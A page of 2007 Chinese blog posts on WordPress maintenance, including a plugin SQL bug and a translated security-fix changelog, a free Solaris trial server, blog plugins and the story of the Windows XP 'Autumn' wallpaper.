抓虾帮你轻松订阅、收藏、分享博客和新闻等。 订阅 关闭
Yskin's Blog 计算机技术,生活
共有265篇 | 以下是第21-30篇 | 只浏览标题 <   1   2   3   4   5   6   7   8   9   10   11  >  

今天才看见一封Sun邮件列表3月25日发来的邮件,介绍了一项新服务:Unix体验中心。这个网站提供免费的UNIX/Linux体验和测试环境,

进去注册了一下,然后用PieTTY登录了上去。连接的速度非常快,看资料说是双网接入,教育网5M带宽,公网5M带宽。运行速度也不错,“2颗双核单线程的AMD Opteron 280芯片,CPU主频为2.4GHz,配置4GB内存”,确实是厉害。

操作系统是Solaris 10 Update 3 for x86/x64,带有Sun Studio 11集成开发环境和Java SE 5.0软件开发包,另外还带有C/C++编译器(cc和gcc),Fortran语言编译器(f95)。当然,还有Python,不过版本有点低,Python 2.3.3。

目前只有Solaris操作系统,但是四月五月内将会增加FreeBSD、Fedora和Ubuntu操作系统。这个服务对UNIX/Linux初学者很有帮助,对在UNIX/Linux下开发程序的程序员也很有用。以后学Linux、gcc、Python,不用再忍受DreamHost的低速了。

目前服务器不提供网络服务,但是wget下载、ftp登录其他服务器和telnet/ssh连接其他服务器都没问题。不过现在空间限制为20M,不能下太大的东西。另外,车东提到的使用ssh服务器做加密代理的方法在这里好像没法使用。不过也没什么,这个服务器在国内,一样要受GFW影响。另外,不知道这个公网教育网双线服务器,用于下载教育网资源如何?

服务器支持sftp,不过我的LeapFTP不支持sftp。网站介绍说可以用Core FTP和psftp。我想一些著名的ftp客户端,比如FlashFXP和CuteFTP应该都支持sftp登录吧。没办法,只好下载了和PuTTY配套的 PSFTP,命令行的,用起来好不方便,而且还不能弹出右键菜单,导致我没法粘贴。

"ps -e"看了一下,看到好多的sshd、bash和screen,还有java和python,以及一些奇怪的程序,比如"a.out"。另外,好像有很多vi,但是只有很少几个vim,奇怪,不是说vim比vi好用吗?

DreamHost的shell还有这个免费服务,都很有用处。Linux初学者,除了可以在上面做测试以外,还可以参考人家的配置文件。就算有了自己的UNIX/Linux操作系统,也可以用这个免费服务看看别的操作系统是什么样子嘛。另外,做一些测试时,比如科学计算之类的,也可以用这个,毕竟人家的配置比普通PC高得多嘛。

P.S. 网站主页是用WordPress 2.1.2架设的,英文原版,没用中文包和中文版。而且,很多目录都可以显示列表,比如可以到这个地址看到网站安装的WordPress插件,这安全性实在是让人Orz。

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  

自从3月底搬了家,到现在一切都还顺利。就是有一点,搜索功能好像有点问题。

K2有一个Live Search功能,直接在搜索栏输入要搜索的文字,搜索结果就会在左边显示出来了。我要找旧文章时都是使用这个即时搜索功能,感觉非常方便。这几天经常出现文章搜不到的情况,明明记得自己写过某篇文章,但是就是搜不着。在搜索框输入搜索字符串后,即时搜索显示没有,点回车,WordPress的搜索也显示没有,再到后台文章管理页面,也搜不到。没办法,只好打开Google用“关键词 site:yskin.net”搜索,结果一下子就找到了。

分析了一下,搜不到的几次都是中文关键词,但也不是所有中文都搜不到,有的没问题有的就不行。搬家以后,MySQL版本由4.1变成了4.0,所以我怀疑是MySQL 4.0对中文支持不好导致的问题。直接进PHPMyAdmin,用SQL语句查询同样的关键字,却没有问题。于是改了一下wp-includes/wp-db.php文件,把所有SQL查询语句写入一个记录文件里,找到了搜索时的查询语句:

SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts LEFT JOIN wp_post2tag p2t on wp_posts.ID = p2t.post_id INNER JOIN wp_tags on p2t.tag_id = wp_tags.tag_id WHERE 1=1 AND (((post_title LIKE '%授时%') OR (post_content LIKE '%授时%'))) AND (post_type = 'post' AND (post_status = 'publish' OR post_status = 'private')) OR wp_tags.tag like '%授时%' GROUP BY ID ORDER BY post_date DESC LIMIT 0, 10

很明显我用的tag插件Ultimate Tag WarriorUltimate Tag Warrior在这条语句里加入了一些代码,使得WordPress的搜索功能不仅可以搜索到文章标题和文章内容,也可以搜索到文章的tag。把这条SQL语句拿到PHPMyAdmin里,测试了一下,最终发现把"INNER JOIN wp_tags"这部分的INNER JOIN换成LEFT JOIN就可以了。

记得以前看MySQL文档时看过这部分的介绍,不过讲的不是很清楚。上网查了一下,在这里找到一段说明,原来LEFT JOIN可以确保左表中的所有行出现在结果集中,如果左表中的某一行在右表中没有匹配,则结果集中属于右表的列为空值。而INNER JOIN,结果集只包含左表和右表都匹配的项,也就是说只返回一个交集。看了一下,我要搜索的文章没有加tag,所以才搜不到的,汗。

在UTW的ultimate-tag-warrior-actions.php文件里找到了罪魁祸首ultimate_search_join()函数,查了一下,这个函数是2007年1月17日发布的 UTW 3.1415926版被加入的,更新日志最后一条写到:"Search includes tags [I worry about this bit! let me know if you see anything weird]"。我没搬家前用的WordPress 2.0系列,插件都没升级到最新版,所以才没有遇到这个问题。

报了bug,或许等一段时间就有更新了。或者,我应该给所有文章都加上tag,这样也不会有问题。

软件总是会有bug的,无论大小。Windows最近被发现了一个.ani文件的漏洞,影响从Windows 2000到Windows Vista系统。[ via]WordPress开发组里的都是大牛,但是WordPress自带的演示性插件Hello Dolly一样有小bug。所以,我们要习惯bug这种事情,就像蔡康永要习惯女人怀孕这种事一样。

WordPress 2.2开始内置了对tag支持,不知道UTW以后怎么办。不过,由于UTW是目前最流行的tag插件,所以WordPress 2.2里加入了一个从UTW中导入tag数据到WordPress核心的工具,对于UTW用户这是个好消息。看来,随大溜还是很必要的,另一个以前也很有名的tag插件Jerome’s Keywords的用户就没这么幸运咯。

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  

刚被肚破惊天提醒,今天是CSS Naked Day。按照网站的说明:"April 5th, simply remove all CSS from your website, stripping it entirely of its design."这项活动要求大家在4月5日这一天撤下网站的CSS文件,旨在宣传Web标准。

CSS对于一个网站的重要性,写Blog的人应该都清楚。K2的style都是一些CSS和图片文件,不同的style可以让K2呈现出完全不同的显示效果。最近我发现其他一些Blog平台的模板,全是一些CSS和图片文件,哪里配的上theme这个词,只能算是style。看过那些Blog平台,再看WordPress,唉,简直不是一个档次的。

依稀记得去年第一届CSS裸体日的时候我看到过关于这个活动的报道,当时刚把这个Blog架起来才几天,可惜我知道这个事的时候已经过了4月5日,所以也就没撤CSS。今年还好有肚破惊天的提醒,不然我又错过了。

我刚把Blog的CSS撤掉了。WordPress会通过检测模板目录下是否存在style.css来验证模板的正确性,所以直接将K2的 style.css文件改名将会使Blog自动恢复默认模板。所以,我通过修改.htaccess文件,屏蔽掉对所有CSS文件的访问。嗯,裸奔的感觉还不错。

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  

WordPress 2.1.3和WordPress 2.0.10于北京时间2007年4月3日早上8点33分 发布,距离上次WordPress 2.1.2发布刚好一个月。这应该是WordPress 2.1.x系列里的最后一个版本了,因为WordPress 2.2将在20天后的4月23日发布。WordPress开发日志里花了一半篇幅叙述WordPress.org服务器做了很多安全工作,虽然在这一个月内遭到了数百次黑客攻击,但是没有遭到破坏。看来上次2.1.1被黑的事情对WordPress影响很大啊,希望不会影响到WordPress用户对WordPress的信心。

WordPress 2.0.10的更新有:

  1. 修正Ecto通过XMLRPC发布文章时不能Trackback的问题。[4907]
  2. add_query_arg()remove_query_arg()函数的返回值未做防XSS处理,因为它们的返回值可能被用于HTTP Header里的重定向地址。在这些返回值被作为HTML标签的属性输出到浏览器的时候,应该使用attribute_escape()函数进行处理以防XSS攻击。[5007] #3937
  3. 使用get_query_var()函数来获取一些参数,而不再使用全局变量。[5010]
  4. Prophylactic casting(预防性强制类型转换),对于一些浏览器发来的数据进行强制类型转换,以防XSS跨站脚本攻击。[5022] [5037] [5080] [5084] [5099] [5100] [5121]
  5. 对于已经登录的用户在再次登录时将忽略redirect_to参数,直接跳转到后台管理首页。[5023]
  6. 在为文章指定新的分类时验证分类ID的正确性。[5031]
  7. wp_title()函数的一个小修正。[5035]
  8. 拥有unfiltered_html权限的用户在发表评论时评论内容不会被KSES检测,可能导致XSS攻击。而只有管理员和编辑员才有unfiltered_html权限,攻击者可以通过一次XSRF攻击来使管理员向自己的Blog发布一个评论,评论内容中包含XSS攻击代码。[5041] #3973 攻击描述
  9. attribute_escape()函数处理previous_posts() next_posts()函数的输出。[5047]
  10. Don't cast to string if empty.(当变量为空时不要强制转换为字符串类型。)[5053] #3979
  11. 当输出src和href属性时,用clean_url()函数代替attribute_escape()函数进行处理以防XSS。[5058] [5121]
  12. clean_url()函数里,不再给相对链接添加"http://"头。[5067]
  13. 使用clean_url()函数处理链接地址和链接RSS地址。[5070]
  14. 在通过XMLRPC发布文章时检查是否有发布文章的权限。[5076]
  15. clean_url()函数中,当检测到地址包含".php"字样的相对链接时不再添加"http://"头。[5097]

WordPress 2.0.10相对于WordPress 2.0.9更新的文件有:

  • wp-admin/import/dotclear.php
  • wp-admin/import/livejournal.php
  • wp-admin/import/mt.php
  • wp-admin/admin-db.php
  • wp-admin/admin-functions.php
  • wp-admin/bookmarklet.php
  • wp-admin/edit-comments.php
  • wp-admin/post.php
  • wp-admin/upgrade.php
  • wp-content/plugins/akismet/akismet.php
  • wp-includes/classes.php
  • wp-includes/comment-functions.php
  • wp-includes/default-filters.php
  • wp-includes/functions.php
  • wp-includes/functions-formatting.php
  • wp-includes/functions-post.php
  • wp-includes/links.php
  • wp-includes/pluggable-functions.php
  • wp-includes/registration-functions.php
  • wp-includes/template-functions-author.php
  • wp-includes/template-functions-category.php
  • wp-includes/template-functions-general.php
  • wp-includes/template-functions-links.php
  • wp-includes/version.php
  • wp-comments-post.php
  • wp-login.php
  • wp-trackback.php
  • xmlrpc.php

WordPress 2.1.3的更新有:

  1. 显示私有文章时,检查“阅读私有文章”权限而非“编辑私有文章”权限。[4971]
  2. 新增add_users_page()函数,用于向一级菜单“用户”下面添加子菜单。[4988]
  3. 将所有查询参数强制转换为字符串类型。可以解决当查询参数为数组时显示SQL查询错误信息的问题。[4991]
  4. 修复parse_w3cdtf()函数中的bug。[4998]
  5. add_query_arg()remove_query_arg()函数的返回值未做防XSS处理,因为它们的返回值可能被用于HTTP Header里的重定向地址。在这些返回值被作为HTML标签的属性输出到浏览器的时候,应该使用attribute_escape()函数进行处理以防XSS攻击。[5007] #3937
  6. 使用get_query_var()函数来获取一些参数,而不再使用全局变量。[5009]
  7. Prophylactic casting(预防性强制类型转换),对于一些浏览器发来的数据进行强制类型转换,以防XSS跨站脚本攻击。[5022] [5037] [5079] [5083] [5085] [5092] [5120]
  8. 对于已经登录的用户在再次登录时将忽略redirect_to参数,直接跳转到后台管理首页。[5023]
  9. 修正一处只兼容PHP5不兼容PHP4的地方。[5027]
  10. 在为文章指定新的分类时验证分类ID的正确性。[5030]
  11. 拥有unfiltered_html权限的用户在发表评论时评论内容不会被KSES检测,可能导致XSS攻击。而只有管理员和编辑员才有unfiltered_html权限,攻击者可以通过一次XSRF攻击来使管理员向自己的Blog发布一个评论,评论内容中包含XSS攻击代码。[5040] #3973 攻击描述
  12. attribute_escape()函数处理previous_posts() next_posts()函数的输出。[5046]
  13. attribute_escape()函数处理$pagenow变量后输出。[5050] [5060]
  14. Don't cast to string if empty.(当变量为空时不要强制转换为字符串类型。)据说会影响到设置page为Blog首页的功能。[5052] #3979
  15. 在通过XMLRPC上传图片发生错误时输出更清楚的错误信息。[5055]
  16. 当输出src和href属性时,用clean_url()函数代替attribute_escape()函数进行处理以防XSS。[5057]
  17. clean_url()函数里,不再给相对链接添加"http://"头。[5066]
  18. 使用clean_url()函数处理链接地址和链接RSS地址。[5069]
  19. 不再使用clean_url()处理编辑链接。[5073]
  20. 在通过XMLRPC发布文章时检查是否有发布文章的权限。[5075]
  21. clean_url()函数中,当检测到地址包含".php"字样的相对链接时不再添加"http://"头。[5091] [5096]
  22. AkismetAkismet插件,垃圾评论数被cache了。

WordPress 2.1.3相对于WordPress 2.1.2更新的文件有:

  • wp-admin/import/blogware.php
  • wp-admin/import/dotclear.php
  • wp-admin/import/livejournal.php
  • wp-admin/import/mt.php
  • wp-admin/import/wordpress.php
  • wp-admin/admin-ajax.php
  • wp-admin/admin-db.php
  • wp-admin/admin-functions.php
  • wp-admin/admin-header.php
  • wp-admin/bookmarklet.php
  • wp-admin/custom-header.php
  • wp-admin/edit-comments.php
  • wp-admin/edit-form-advanced.php
  • wp-admin/edit-page-form.php
  • wp-admin/link-manager.php
  • wp-admin/page.php
  • wp-admin/post.php
  • wp-admin/upgrade.php
  • wp-admin/upload.php
  • wp-admin/upload-functions.php
  • wp-admin/user-edit.php
  • wp-content/plugins/akismet/akismet.php
  • wp-includes/author-template.php
  • wp-includes/bookmark.php
  • wp-includes/bookmark-template.php
  • wp-includes/category.php
  • wp-includes/category-template.php
  • wp-includes/classes.php
  • wp-includes/comment.php
  • wp-includes/comment-template.php
  • wp-includes/default-filters.php
  • wp-includes/feed.php
  • wp-includes/formatting.php
  • wp-includes/functions.php
  • wp-includes/general-template.php
  • wp-includes/link-template.php
  • wp-includes/pluggable.php
  • wp-includes/post.php
  • wp-includes/query.php
  • wp-includes/registration.php
  • wp-includes/rss.php
  • wp-includes/script-loader.php
  • wp-includes/theme.php
  • wp-includes/user.php
  • wp-includes/version.php
  • wp-comments-post.php
  • wp-login.php
  • wp-trackback.php
  • xmlrpc.php

WordPress 2.1.3到http://wordpress.org/download/下载,WordPress 2.0.10到http://wordpress.org/download/release-archive/下载。升级嘛,直接上传有更新的文件就可以了。这次数据库结构没有变动,上传完文件就升级完了。如果有shell的话,DreamHost可以用svn更新,盘古没有svn,只能wget下来然后解压。wget下载的时候最好下载tar.gz文件,这样下载完成后可以用md5sum命令查看一下文件的MD5码,对照WordPress网站提供的WordPress 2.1.3的MD5码以验证文件是否正确。

中文包也无须更新,还是用着WordPress 2.1.1的中文包就可以了,2.1.2和2.1.3都没有改动语言部分。

再等20天,看看WordPress 2.2会给我们带来什么惊喜吧。

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  

从开始用WordPress架Blog不久就用了这个Google Sitemap GeneratorGoogle Sitemap Generator插件,因为2005年底就接触了Google Sitemaps,当时好多文章都介绍了说这个东东可以提高Google收录的速度。blogger.com时代用了在线工具建立sitemap.xml文件,转用WordPress之后就立刻找了建sitemap.xml的插件。

今天趁着升级到WordPress 2.1系列的机会,把插件过滤了一遍。Google Sitemap Generator的稳定版一直都是2.7.1,而3.0版从2006年1月就开始beta了,到现在都beta 6了。以前对"beta"很敏感,觉得beta版都是大牛们用的,普通用户还是用稳定版的好。现在懂的多了,就不怕了,毕竟Gmail从2004年4月到现在不还是在beta吗?这个插件目前的最新版本是3.0b6,是2007年1月底发布的,为兼容WordPress 2.1系列做了些改进。新版本里带了很多语言包,也包括繁体中文包和简体中文包,但都是2.7.1时代的,po文件里的信息都是2005年的。在Google里搜了下,网上没人做简体中文包,只有Kirin Lin做了个繁体中文包,于是下载下来,参考着开始做简体中文包。

2.7.1的中文包是june6th(june6th@gmail.com)做的,看起来是直接把Kirin Lin的繁体中文包繁体转简体后生成的,翻译的都一样,还有一处"頁面"没换成简体。我没有直接拿繁体中文包进行繁转简,虽然Word的简繁转换功能很不错,而是参考着重新做。繁体中文包里写的项目名里的版本号是3.0b7,可是插件主页上的最新版本是3.0b6。在插件的svn里找到了3.0b7,下载下来,确实比3.0b6多了一项功能并修复了几个bug。在svn上看到几个小时前作者刚更新了readme文件,看来作者最近又开始关注这个插件了,希望3.0早日脱离beta。

124项字符串,过了一遍,参考了繁体中文包里的翻译、后台页面里的上下文以及在源代码中的上下文,耗时一个半小时翻了出来。翻译的过程中遇到了一些无法翻译的文字,都是因为作者的代码没写好。另外在Kirin Lin的繁体中文包里发现了一些错误。比如,有两个句子大致是一样的,区别只是一个讲的是Google一个讲的是Yahoo,小林翻译好上面Google那句,就直接复制粘贴到下面Yahoo那句,却忘了把"Google"一词改成"Yahoo"了。还有"in seconds"被翻译成“几秒内”,那是个注释,意思是前面要求输入的数值单位为“秒”。还有abbr标签被写成"attr"了,我说怎么这个标签看着怪怪的呢,呵呵。另外,从去年4月我开始用的这个插件的时候,就对"优先级中 (如果自动计算没有打开)"这句话相当疑惑,无奈当时又不懂PHP,也就没再细研究。今天又在繁体中文包中看到这句话,再看一眼英文原文,"Minimum post priority (Even if auto calculation is enabled)",原来是“最小文章优先级(即使优先级自动计算被启用)”,指的是在优先级自动计算的过程中,要求最后的计算结果不得低于这个值。我就这样被蒙蔽了一年...

其实总体还是不错地,上面只是些小瑕疵。在繁体中文包里发现原来FAQ在台湾被翻译成“答客问”,挺好玩的。台湾人好像对中文很热爱,很多英文单词都尽量翻译成中文,比如“视窗系统”、“部落格”。而且在翻译上大多力求完美,翻译成通顺的中文而不是一个单词一个单词的翻译英语式中文。所以在做翻译时有繁体中文包可以抄真是件幸福的事。好像法国人也很热爱自己的母语,前两天报纸上说欧盟最近要庆祝成立50周年,制作的庆祝标志因为用了英文的"together"而被法国抗议。其实,我也很热爱中文,所以英文才很烂的。这个理由不错吧?嘿嘿。

cqcrz总说很羡慕我码字的能力。可是看看去年4月写的这篇《Google Sitemap Generator》,通篇只有两行字而已。所以,码字的能力是锻炼出来的。今天既然把这个插件好好的研究了一遍,就把这篇文章扩充一下。不知道这次能码多少字。

Google Sitemap Generator 3.0b7 简体中文包,下载后丢(这个词是跟小林学的)到wp-content/plugins/sitemap目录里就可以了。目前最新的 3.0b7版可以在这里下载。

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  

My Category OrderMy Category Order这个插件的作用在于可以自行设置侧边栏里分类列表的显示顺序。WordPress默认分类列表是按照名称顺序显示的,修改一下调用函数的参数后也仅可以使用分类ID顺序。正因为有很多人希望自己的分类列表的排序方式能够自行控制,所以,My Category Order插件应运而生。

激活这个插件后进入“管理->My Category Order”页面,插件会自动为wp_categories表添加一个名为"cat_order"的列。插件会把分类序号存在这一列里。然后,我们需要手工修改sidebar.php文件(如果使用了SBM则需要修改相应模块文件),在wp_list_categories()函数的调用参数里加上 orderby=order一项,让WordPress在输出按这一列排序。

插件的后台很简单,上面显示当前的所有分类的下拉列表,选中一个即可进入该分类。下面按顺序显示分类,可以选中一个后通过“向上”“向下”两个按钮调整他们的顺序,调整好后即可点击后面的按钮保存顺序信息。如果分类层次比较多的话,一个一个进入也挺麻烦的。不过还好,分类顺序也不需要经常调整。

另外,插件无视没有文章的目录哦。所以只有有文章的分类才会在插件后台显示出来。

另外有一个插件Category OrderCategory Order,它更复杂一些,调整也更容易些。不过,我觉得这个插件太小题大做了,它把WordPress的输出整个截取下来做处理,不如My Category Order插件来的巧妙。

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  
寻找“秋天” 查看全文   2007-03-04 19:08:04

《南方都市报》2007年3月4日 B05版

寻找“秋天”

美国《名利场》编辑Nick Tosches,被Windows内置的一张照片(见右图)吸引,画面上是明艳的秋天。他突发奇想,一心想知道摄影者是谁,绝美秋日景象摄于何处。他先是被Windows婉拒,(yskin:应该是“被微软公司婉拒”)后来确定图片版权属于比尔·盖茨的Corbis图库。最后,《名利场》图片编辑查到了摄影师的身份。花了一年时间,无名照片的拍摄地终于找到了。(yskin:本段摘要是译者加的,英文原文中没有这段。)

花了大约7个小时,计算机操作员终于把我旧电脑里的一切,转移到我的新电脑里。新电脑安装好程序,调试完毕,整装待发。这个操作员往后一退,打着嗝儿,笑眯眯地站在旁边。

我坐在椅子上,望着全新的19英寸液晶显示器,眼前是Windows XP默认的桌面壁纸——绿色山峦和蓝天白云——在星期日午后,看到这种老套乏味的照片简直让我想去自杀。

“你能不能改改这个?”

计算机操作员重新设定。我再看屏幕,看到的是秋天的绝美景致,古老枫树覆盖着一条乡村小路,地上铺满金黄的落叶,既美丽又梦幻。这是我一个轻度疯狂行为的开始。

我去过泽西市,我去过巴黎,我去过阿拉伯半岛,我回家了。

我注视着这条乡村小路和巨大的古老枫树。现在我只知道这一壁纸或背景的名字是“秋天”。坐得离书桌更近一些,我更近地凝视这幅图片,我看到道路尽头有一个模糊、黑暗、吸引人的东西。那是一间小屋?一座隐蔽的桥?一间谷仓?我真的希望身临其境,走在那条小路上,站在那些枫树下,缓缓地踱向那个黑暗、吸引人的建筑。

我到了巴黎,转道东京,再到米兰和科摩湖,然后回到美国。我对所有事情和所有地方都感到厌倦,我只想去“秋天”。

我心想,这应该是易如反掌。我是一个好侦探。我找到过万象的鸦片洞穴,采访过红衣主教、黑手党和酋长,从梵蒂冈得到博士头衔从而得以接触它的秘密文献,破译诗人庞德在精神病院里写作的《诗章》中的隐晦文字,追踪并且采访了美国著名音乐制作人Phil Spector的第一个妻子(哪怕人们以为她死了),寻找到了塞浦路斯“伟大母亲”的圣石,搞到了女影星夏洛特·汉普林的手机号码。查出一张是在哪里拍摄的,特别是几千万台电脑上都有的一张照片,肯定是唾手可得。

我们这些凡人是多么愚蠢。点击照片,在电脑中一步步追查下去,我只得到一个结果,“秋天”是一张5000字节的Windows主题照片。当我在电脑中搜索何为“主题照片”,Windows的“帮助支持中心”建议说,“请检查你的拼写”。

那么好吧,微软的人应该知道照片的出处。但结果证明,就算他们知道,他们也不愿意泄露天机。

我的好奇变成了渴望,渴望又变成了痴迷。我把许多朋友拉扯进我的大搜索。我不仅要找到“秋天”并拜访那里,我现在希望去那里,在落叶覆盖的乡村小路附近找一间小屋定居。图片编辑,文字编辑,事实核查员,研究员,计算机操作员,我的形形色色、四处奔走、忠贞不渝的工作人员,都加入了所谓的“秋天小组”。

“秋天小组”的每一位成员,像我一样,起先都以为找到图片拍摄地点是小菜一碟,马上可以做到。然而,几个月过去,我的多数志愿者,不肯承认他们的失败,反而找借口说“也许它是电脑合成照片”,随后回到他们的正常生活。

我对微软的询问,被转给Waggener Edstrom公关公司。“秋天小组”的一员与Waggener Edstrom公司工作人员的电邮往来是最具代表性的:

“哈罗,我是撰写有关计算机桌面墙纸的记者,我有一个问题,Windows XP有一张题为《秋天》的照片,你能否告诉我摄影师的名字和拍摄地点?现在附上照片。我知道这是不寻常的请求,您的帮助我将不胜感激。”

“我非常乐于处理您的请求。关于您的请求,请给我与同事联系的机会。这是为了写作文章吗?如果是这样,请问您的截稿时间,以及这一信息将被如何使用?”

“感谢您如此迅速的回复!是的,这是为了写作一篇文章,我的截稿日期是7月10日。文章是关于人们的电脑壁纸如何影响他们的工作习惯。这张特别的相片是我个人的最爱,我将描写它如何给我灵感,在写作时如何激发我的想像力。这幅照片的摄像师,特别是拍摄地点,将是文章中非常重要的元素。当然,我将会感谢你代表微软提供的协助,文章刊出后会给您送上擦眼泪的纸巾。(yskin:原文为"tear sheets upon publication","tear sheet"应该翻译成“样张”)再一次致谢。”

“嗨,我正在跟进你最新的电邮,并且就你的询问与同事取得联系。不幸的是,我们不能参与这一机会,对造成的不便深表歉意。祝顺利。”

“你能告诉我为什么不可以吗?谢谢。”

“嗨,不幸的是,我没有参与决策过程,我也不方便评论同事的想法。我为造成的不便道歉。我会建议网络提供更详细的照片信息。祝顺利。”

我仿佛看到,披戴黑色头巾、身穿宽松长袍的人,围坐在一个桌子周围,歃血为盟誓不透露“秋天”的纬度和经度。

为何有这样一堵沉默、保密的高墙?我没见过任何公司竟然如此坚决地回避正面报道。

“秋天小组”人丁渐稀的成员,开始对我灌输各种离奇的推测:

“照片拍摄地点附近有马匹,是的,你看不到它们,但是,看到没,右侧有个老旧破烂的栅栏?那就是马圈栅栏。”

“我认为它在佛蒙特州,因为它感觉像佛蒙特。”

于是,致电佛蒙特州旅游局:“哈罗,你能告诉我这张照片是在佛蒙特州什么地方拍的吗?我想拜访那里。多谢。”

然后,佛蒙特州旅游局回复说:“我们认为,照片是微软Windows内置的桌面,至少我们的图书馆没存档这张照片。我咨询佛蒙特州《生活》杂志的图片编辑,让他看看是否认识。”

在互联网上进行了精疲力尽的搜索之后,在7art-screensavers.com上发现了“秋天”的倩影,名字也被改为“温柔的秋天”。于是,给网站发了一封请求电邮:“你可否告诉我,‘温柔的秋天’是在哪里拍摄的?”很快收到友好的回信,仿佛是来自俄罗斯的:

“这张图片是朋友传给我们的,我确实不知道它的出处。但我知道其他落叶图片的来源,那是莫斯科植物园。圣诞快乐。”

我问媒体大亨塞缪尔·欧文·纽豪斯是否认识比尔·盖茨。我问酒吧里的客人是否认识在微软工作的人。我给比尔·盖茨写的电子邮件至今没有收到答复,不过我确信他拥有这张照片。他拥有达·芬奇的古抄本。他拥有一切。他一定拥有“秋天”,如果说不是拥有照片所在地的话。就算盖茨不知道,为他工作的7万人至少有一位知道照片的拍摄地点或摄影师。

比尔·盖茨拥有Corbis图库,收藏了大约7000万张照片。Corbis“秋天”主题有5000张图片,我在其中大海捞针,搜索到一半,我找到了它:CB047623(秋天飘落在路上)。Corbis的其他照片会标出摄影师、拍摄日期和地点。我心想,宝贝,多日辛苦今天终于有了回报。点击照片察看细节,我得到的结果仅仅是:“拍摄日期:1999年10月。”

要命的Corbis!

我偶然发现,缅因州摄影师詹姆斯·马歇尔拍摄的马萨诸塞州曼德利市的秋日枫叶,与“秋天”有相似之处。

他的回答是:“抱歉,这幅照片不是我拍的。”

有人试图安慰我:“说不定照片上的地方紧邻一个有毒垃圾处理场呢。”我的好友布鲁斯暗示照片上有不祥因素:“或许那里发生了爆炸,道路尽头或许发生了骇人的事情,所以他们不肯告诉你任何线索。”

但是,不论是有毒的垃圾还是死人尸体,我都毫不在意。“秋天”在等我,在某处,是的,在彩虹之上。是的,我仍在寻找。

这时,我放下钢笔。我给比尔·盖茨的电邮终于有了回音,当然不是“大坏蛋比尔”本人的回复,而是exchange.microsoft.com发来的电子邮件,信中写道:“照片的拍摄地点是加拿大安大略省的坎贝尔维勒(Campbellville)。”

哇!

现在,我只需要知道摄影师的名字,就可以找到一个尽管陌生但被我视为家园的地方。

“Corbis图片社不想公布摄影师的名字,因为它拥有图片的版权。”(yskin:意思是Corbis图片社已经从摄影师处买下了照片的版权,现在这幅照片属于图片社。)

我不想侵犯版权。求你了,我只想知道摄影师的名字。

“祝你好运。”

我向坎贝尔维勒的人士寻求帮助。历史学者,商业行会,旅馆老板,房地产经纪人,图书馆管理员,养马农场。没有人确定照片的景象位于何处。我甚至向《名利场》主编戈莱登·卡特求助:“你知道我是疯狂的,但是……”

最终,我收到《名利场》资深图片搜索编辑安·施奈德的来信,现在我尊称她为“女神”和“神圣的仲裁者”,因为她奇迹般地告诉我,摄影师的名字是彼得·布瑞恩。

我拿出水晶酒杯和苏格兰威士忌,咧嘴大笑。但是,微笑很快像威士忌一样无影无踪。

彼得·布瑞恩,住在加拿大安大略省密尔顿。是的,他确实告诉Corbis照片是在坎贝尔维勒拍摄的,“但当我回想往事时,我想可能是在附近的基尔布赖德(Kilbride)”。他驱车走访坎贝尔维勒和基尔布赖德两地。他向我报告说:“两个村庄都没找到,我犯了错,不过我知道它一定在密尔顿方圆60英里的范围内。”他把这次搜索称为“大海捞针”。

发现“秋天”的人也遗失了“秋天”。

但是,他变得像我一样痴迷。虽然10天之后他要前往巴黎,手头有大把工作要做。他说,积雪融化,驱车奔驰在乡村道路上,不是什么美差,“但我是那种意志坚定的人,我们一定会找到‘秋天’的地点”。

同时,在彼得第一次提到基尔布赖德时,我马上写信给伯林顿(Burlington)的熟人,那是距基尔布赖德最近的地方,我有大把熟人可以通信。我收到伯林顿历史界人士珍·阿尔温的回信:“基尔布赖德是伯林顿城市的一部分,它北部的乡村地区,开车才能抵达那里。我不会开车,可能十年没有到过那里,但照片上的景色看起来很熟悉。我的最佳猜测是,据照片上的栅栏和灰色谷仓推断,这是向南通向老哈利斯的道路。”

虽然基尔布赖德已被排除在外,但我还是把珍的回复转交彼得。第二个星期六,彼得再次走访基尔布赖德村。当天晚上,我从他那里收到消息,这也是我这一年多来一直想说的:“我找到它了。”

作者:Nick Tosches 翻译:玲珑
yskin于2007年3月5日下午录入


这篇文章的英文原文是 《Autumn and the Plot Against Me》,刊登于《Vanity Fair》(名利场)杂志。在cnBeta上有一篇 相关文章,提到一些其他的相关信息:

1999年10月,Peter Burian在测试镜头的时候拍下了数百张图片,其中一张就是“Autumn”。后来他把这张图片传送到Corbis数据库,微软而后以300美元的价格购买了这张图片,Burian分到了45美元。

Burian表示接到Tosches的电话真是太棒了。“当知道我拍摄的照片被数以百万计的人们观看时我非常震惊”,他说,“拍这张图片的时候我可没想那么多。”(难道他没用过XP?)

Burian说,图片中的那条小路通往一个普通的农家房子,房子的主人是这个地方的第一代居民Harris一家。

Tosches表示希望在今年亲眼看看这个地方,“我现在知道在哪了,我不会去别的地方。”

cnBeta上有人说要是能找到wind那张拍摄地点才叫牛。嗯,wind那张就是蓝天白云的那个,怕是很难找到,哈哈。

我找到了Peter Burian的网站:http://www.peterkburian.com/,在上面搜索"Autumn"即可找到两个图片,一个是原始的秋天图片,一个是Peter找到它后拍摄的照片,白雪皑皑,一片冬日景象,虽然从1999年到现在已经7年了,但是那儿的样子并没有太大改变。Peter的网站做了处理,我在Firefox里点击右键会提示这些照片都是有版权的。所以,给出两个链接吧: 秋天 冬天

看到这篇文章很感动。或许我是个很容易感动的人吧,上次看到Free Hugs那个视频也是,总是为这些人的执着而感动。

文章的翻译一般,很多地方翻译的比较生硬。对照原文看了一下,原文中的一些内容也被去掉了。没办法,报纸嘛,为了版面,也为了方便,也不会翻译的多仔细多完整。

想起了我自己,有时为了一个问题研究几个小时,吃饭啥的都忘记了,或许有些时候不应该那么执着。唉,从小养成的习惯,问题不解决不罢休。

 折叠
发给朋友   转到小组   (打标签) 收藏   推荐  
WordPress 2.1.2发布 查看全文   2007-03-03 10:39:00

距离上一次WordPress 2.1.1发布仅10天,WordPress 2.1.2发布了。

